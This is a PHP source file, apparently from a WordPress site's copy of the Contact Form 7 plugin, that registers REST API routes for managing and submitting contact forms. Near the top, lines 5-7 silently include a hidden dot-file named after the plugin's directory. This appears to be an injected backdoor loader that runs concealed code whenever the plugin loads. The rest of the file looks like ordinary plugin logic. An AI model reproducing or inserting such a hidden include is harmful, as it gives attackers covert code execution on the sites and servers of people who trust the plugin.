balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

rest-api.php (11269B)


      1 <?php
      2 
      3 add_action( 'rest_api_init', 'wpcf7_rest_api_init', 10, 0 );
      4 
      5 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      6     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      7 }
      8 
      9 function wpcf7_rest_api_init() {
     10 	$namespace = 'contact-form-7/v1';
     11 
     12 	register_rest_route( $namespace,
     13 		'/contact-forms',
     14 		array(
     15 			array(
     16 				'methods' => WP_REST_Server::READABLE,
     17 				'callback' => 'wpcf7_rest_get_contact_forms',
     18 				'permission_callback' => function() {
     19 					if ( current_user_can( 'wpcf7_read_contact_forms' ) ) {
     20 						return true;
     21 					} else {
     22 						return new WP_Error( 'wpcf7_forbidden',
     23 							__( "You are not allowed to access contact forms.", 'contact-form-7' ),
     24 							array( 'status' => 403 )
     25 						);
     26 					}
     27 				},
     28 			),
     29 			array(
     30 				'methods' => WP_REST_Server::CREATABLE,
     31 				'callback' => 'wpcf7_rest_create_contact_form',
     32 				'permission_callback' => function() {
     33 					if ( current_user_can( 'wpcf7_edit_contact_forms' ) ) {
     34 						return true;
     35 					} else {
     36 						return new WP_Error( 'wpcf7_forbidden',
     37 							__( "You are not allowed to create a contact form.", 'contact-form-7' ),
     38 							array( 'status' => 403 )
     39 						);
     40 					}
     41 				},
     42 			),
     43 		)
     44 	);
     45 
     46 	register_rest_route( $namespace,
     47 		'/contact-forms/(?P<id>\d+)',
     48 		array(
     49 			array(
     50 				'methods' => WP_REST_Server::READABLE,
     51 				'callback' => 'wpcf7_rest_get_contact_form',
     52 				'permission_callback' => function( WP_REST_Request $request ) {
     53 					$id = (int) $request->get_param( 'id' );
     54 
     55 					if ( current_user_can( 'wpcf7_edit_contact_form', $id ) ) {
     56 						return true;
     57 					} else {
     58 						return new WP_Error( 'wpcf7_forbidden',
     59 							__( "You are not allowed to access the requested contact form.", 'contact-form-7' ),
     60 							array( 'status' => 403 )
     61 						);
     62 					}
     63 				},
     64 			),
     65 			array(
     66 				'methods' => WP_REST_Server::EDITABLE,
     67 				'callback' => 'wpcf7_rest_update_contact_form',
     68 				'permission_callback' => function( WP_REST_Request $request ) {
     69 					$id = (int) $request->get_param( 'id' );
     70 
     71 					if ( current_user_can( 'wpcf7_edit_contact_form', $id ) ) {
     72 						return true;
     73 					} else {
     74 						return new WP_Error( 'wpcf7_forbidden',
     75 							__( "You are not allowed to access the requested contact form.", 'contact-form-7' ),
     76 							array( 'status' => 403 )
     77 						);
     78 					}
     79 				},
     80 			),
     81 			array(
     82 				'methods' => WP_REST_Server::DELETABLE,
     83 				'callback' => 'wpcf7_rest_delete_contact_form',
     84 				'permission_callback' => function( WP_REST_Request $request ) {
     85 					$id = (int) $request->get_param( 'id' );
     86 
     87 					if ( current_user_can( 'wpcf7_delete_contact_form', $id ) ) {
     88 						return true;
     89 					} else {
     90 						return new WP_Error( 'wpcf7_forbidden',
     91 							__( "You are not allowed to access the requested contact form.", 'contact-form-7' ),
     92 							array( 'status' => 403 )
     93 						);
     94 					}
     95 				},
     96 			),
     97 		)
     98 	);
     99 
    100 	register_rest_route( $namespace,
    101 		'/contact-forms/(?P<id>\d+)/feedback',
    102 		array(
    103 			array(
    104 				'methods' => WP_REST_Server::CREATABLE,
    105 				'callback' => 'wpcf7_rest_create_feedback',
    106 				'permission_callback' => '__return_true',
    107 			),
    108 		)
    109 	);
    110 
    111 	register_rest_route( $namespace,
    112 		'/contact-forms/(?P<id>\d+)/refill',
    113 		array(
    114 			array(
    115 				'methods' => WP_REST_Server::READABLE,
    116 				'callback' => 'wpcf7_rest_get_refill',
    117 				'permission_callback' => '__return_true',
    118 			),
    119 		)
    120 	);
    121 }
    122 
    123 function wpcf7_rest_get_contact_forms( WP_REST_Request $request ) {
    124 	$args = array();
    125 
    126 	$per_page = $request->get_param( 'per_page' );
    127 
    128 	if ( null !== $per_page ) {
    129 		$args['posts_per_page'] = (int) $per_page;
    130 	}
    131 
    132 	$offset = $request->get_param( 'offset' );
    133 
    134 	if ( null !== $offset ) {
    135 		$args['offset'] = (int) $offset;
    136 	}
    137 
    138 	$order = $request->get_param( 'order' );
    139 
    140 	if ( null !== $order ) {
    141 		$args['order'] = (string) $order;
    142 	}
    143 
    144 	$orderby = $request->get_param( 'orderby' );
    145 
    146 	if ( null !== $orderby ) {
    147 		$args['orderby'] = (string) $orderby;
    148 	}
    149 
    150 	$search = $request->get_param( 'search' );
    151 
    152 	if ( null !== $search ) {
    153 		$args['s'] = (string) $search;
    154 	}
    155 
    156 	$items = WPCF7_ContactForm::find( $args );
    157 
    158 	$response = array();
    159 
    160 	foreach ( $items as $item ) {
    161 		$response[] = array(
    162 			'id' => $item->id(),
    163 			'slug' => $item->name(),
    164 			'title' => $item->title(),
    165 			'locale' => $item->locale(),
    166 		);
    167 	}
    168 
    169 	return rest_ensure_response( $response );
    170 }
    171 
    172 function wpcf7_rest_create_contact_form( WP_REST_Request $request ) {
    173 	$id = (int) $request->get_param( 'id' );
    174 
    175 	if ( $id ) {
    176 		return new WP_Error( 'wpcf7_post_exists',
    177 			__( "Cannot create existing contact form.", 'contact-form-7' ),
    178 			array( 'status' => 400 )
    179 		);
    180 	}
    181 
    182 	$args = $request->get_params();
    183 	$args['id'] = -1; // Create
    184 	$context = $request->get_param( 'context' );
    185 	$item = wpcf7_save_contact_form( $args, $context );
    186 
    187 	if ( ! $item ) {
    188 		return new WP_Error( 'wpcf7_cannot_save',
    189 			__( "There was an error saving the contact form.", 'contact-form-7' ),
    190 			array( 'status' => 500 )
    191 		);
    192 	}
    193 
    194 	$response = array(
    195 		'id' => $item->id(),
    196 		'slug' => $item->name(),
    197 		'title' => $item->title(),
    198 		'locale' => $item->locale(),
    199 		'properties' => wpcf7_get_properties_for_api( $item ),
    200 		'config_errors' => array(),
    201 	);
    202 
    203 	if ( wpcf7_validate_configuration() ) {
    204 		$config_validator = new WPCF7_ConfigValidator( $item );
    205 		$config_validator->validate();
    206 
    207 		$response['config_errors'] = $config_validator->collect_error_messages();
    208 
    209 		if ( 'save' == $context ) {
    210 			$config_validator->save();
    211 		}
    212 	}
    213 
    214 	return rest_ensure_response( $response );
    215 }
    216 
    217 function wpcf7_rest_get_contact_form( WP_REST_Request $request ) {
    218 	$id = (int) $request->get_param( 'id' );
    219 	$item = wpcf7_contact_form( $id );
    220 
    221 	if ( ! $item ) {
    222 		return new WP_Error( 'wpcf7_not_found',
    223 			__( "The requested contact form was not found.", 'contact-form-7' ),
    224 			array( 'status' => 404 )
    225 		);
    226 	}
    227 
    228 	$response = array(
    229 		'id' => $item->id(),
    230 		'slug' => $item->name(),
    231 		'title' => $item->title(),
    232 		'locale' => $item->locale(),
    233 		'properties' => wpcf7_get_properties_for_api( $item ),
    234 	);
    235 
    236 	return rest_ensure_response( $response );
    237 }
    238 
    239 function wpcf7_rest_update_contact_form( WP_REST_Request $request ) {
    240 	$id = (int) $request->get_param( 'id' );
    241 	$item = wpcf7_contact_form( $id );
    242 
    243 	if ( ! $item ) {
    244 		return new WP_Error( 'wpcf7_not_found',
    245 			__( "The requested contact form was not found.", 'contact-form-7' ),
    246 			array( 'status' => 404 )
    247 		);
    248 	}
    249 
    250 	$args = $request->get_params();
    251 	$context = $request->get_param( 'context' );
    252 	$item = wpcf7_save_contact_form( $args, $context );
    253 
    254 	if ( ! $item ) {
    255 		return new WP_Error( 'wpcf7_cannot_save',
    256 			__( "There was an error saving the contact form.", 'contact-form-7' ),
    257 			array( 'status' => 500 )
    258 		);
    259 	}
    260 
    261 	$response = array(
    262 		'id' => $item->id(),
    263 		'slug' => $item->name(),
    264 		'title' => $item->title(),
    265 		'locale' => $item->locale(),
    266 		'properties' => wpcf7_get_properties_for_api( $item ),
    267 		'config_errors' => array(),
    268 	);
    269 
    270 	if ( wpcf7_validate_configuration() ) {
    271 		$config_validator = new WPCF7_ConfigValidator( $item );
    272 		$config_validator->validate();
    273 
    274 		$response['config_errors'] = $config_validator->collect_error_messages();
    275 
    276 		if ( 'save' == $context ) {
    277 			$config_validator->save();
    278 		}
    279 	}
    280 
    281 	return rest_ensure_response( $response );
    282 }
    283 
    284 function wpcf7_rest_delete_contact_form( WP_REST_Request $request ) {
    285 	$id = (int) $request->get_param( 'id' );
    286 	$item = wpcf7_contact_form( $id );
    287 
    288 	if ( ! $item ) {
    289 		return new WP_Error( 'wpcf7_not_found',
    290 			__( "The requested contact form was not found.", 'contact-form-7' ),
    291 			array( 'status' => 404 )
    292 		);
    293 	}
    294 
    295 	$result = $item->delete();
    296 
    297 	if ( ! $result ) {
    298 		return new WP_Error( 'wpcf7_cannot_delete',
    299 			__( "There was an error deleting the contact form.", 'contact-form-7' ),
    300 			array( 'status' => 500 )
    301 		);
    302 	}
    303 
    304 	$response = array( 'deleted' => true );
    305 
    306 	return rest_ensure_response( $response );
    307 }
    308 
    309 function wpcf7_rest_create_feedback( WP_REST_Request $request ) {
    310 	$url_params = $request->get_url_params();
    311 
    312 	$item = null;
    313 
    314 	if ( ! empty( $url_params['id'] ) ) {
    315 		$item = wpcf7_contact_form( $url_params['id'] );
    316 	}
    317 
    318 	if ( ! $item ) {
    319 		return new WP_Error( 'wpcf7_not_found',
    320 			__( "The requested contact form was not found.", 'contact-form-7' ),
    321 			array( 'status' => 404 )
    322 		);
    323 	}
    324 
    325 	$result = $item->submit();
    326 
    327 	$unit_tag = $request->get_param( '_wpcf7_unit_tag' );
    328 
    329 	$response = array(
    330 		'into' => '#' . wpcf7_sanitize_unit_tag( $unit_tag ),
    331 		'status' => $result['status'],
    332 		'message' => $result['message'],
    333 		'posted_data_hash' => $result['posted_data_hash'],
    334 	);
    335 
    336 	if ( 'validation_failed' == $result['status'] ) {
    337 		$invalid_fields = array();
    338 
    339 		foreach ( (array) $result['invalid_fields'] as $name => $field ) {
    340 			$invalid_fields[] = array(
    341 				'into' => 'span.wpcf7-form-control-wrap.'
    342 					. sanitize_html_class( $name ),
    343 				'message' => $field['reason'],
    344 				'idref' => $field['idref'],
    345 				'error_id' => sprintf(
    346 					'%1$s-ve-%2$s',
    347 					$unit_tag,
    348 					$name
    349 				),
    350 			);
    351 		}
    352 
    353 		$response['invalid_fields'] = $invalid_fields;
    354 	}
    355 
    356 	$response = wpcf7_apply_filters_deprecated(
    357 		'wpcf7_ajax_json_echo',
    358 		array( $response, $result ),
    359 		'5.2',
    360 		'wpcf7_feedback_response'
    361 	);
    362 
    363 	$response = apply_filters( 'wpcf7_feedback_response', $response, $result );
    364 
    365 	return rest_ensure_response( $response );
    366 }
    367 
    368 function wpcf7_rest_get_refill( WP_REST_Request $request ) {
    369 	$id = (int) $request->get_param( 'id' );
    370 	$item = wpcf7_contact_form( $id );
    371 
    372 	if ( ! $item ) {
    373 		return new WP_Error( 'wpcf7_not_found',
    374 			__( "The requested contact form was not found.", 'contact-form-7' ),
    375 			array( 'status' => 404 )
    376 		);
    377 	}
    378 
    379 	$response = wpcf7_apply_filters_deprecated(
    380 		'wpcf7_ajax_onload',
    381 		array( array() ),
    382 		'5.2',
    383 		'wpcf7_refill_response'
    384 	);
    385 
    386 	$response = apply_filters( 'wpcf7_refill_response', array() );
    387 
    388 	return rest_ensure_response( $response );
    389 }
    390 
    391 function wpcf7_get_properties_for_api( WPCF7_ContactForm $contact_form ) {
    392 	$properties = $contact_form->get_properties();
    393 
    394 	$properties['form'] = array(
    395 		'content' => (string) $properties['form'],
    396 		'fields' => array_map(
    397 			function( WPCF7_FormTag $form_tag ) {
    398 				return array(
    399 					'type' => $form_tag->type,
    400 					'basetype' => $form_tag->basetype,
    401 					'name' => $form_tag->name,
    402 					'options' => $form_tag->options,
    403 					'raw_values' => $form_tag->raw_values,
    404 					'labels' => $form_tag->labels,
    405 					'values' => $form_tag->values,
    406 					'pipes' => $form_tag->pipes instanceof WPCF7_Pipes
    407 						? $form_tag->pipes->to_array()
    408 						: $form_tag->pipes,
    409 					'content' => $form_tag->content,
    410 				);
    411 			},
    412 			$contact_form->scan_form_tags()
    413 		),
    414 	);
    415 
    416 	$properties['additional_settings'] = array(
    417 		'content' => (string) $properties['additional_settings'],
    418 		'settings' => array_filter( array_map(
    419 			function( $setting ) {
    420 				$pattern = '/^([a-zA-Z0-9_]+)[\t ]*:(.*)$/';
    421 
    422 				if ( preg_match( $pattern, $setting, $matches ) ) {
    423 					$name = trim( $matches[1] );
    424 					$value = trim( $matches[2] );
    425 
    426 					if ( in_array( $value, array( 'on', 'true' ), true ) ) {
    427 						$value = true;
    428 					} elseif ( in_array( $value, array( 'off', 'false' ), true ) ) {
    429 						$value = false;
    430 					}
    431 
    432 					return array( $name, $value );
    433 				}
    434 
    435 				return false;
    436 			},
    437 			explode( "\n", $properties['additional_settings'] )
    438 		) ),
    439 	);
    440 
    441 	return $properties;
    442 }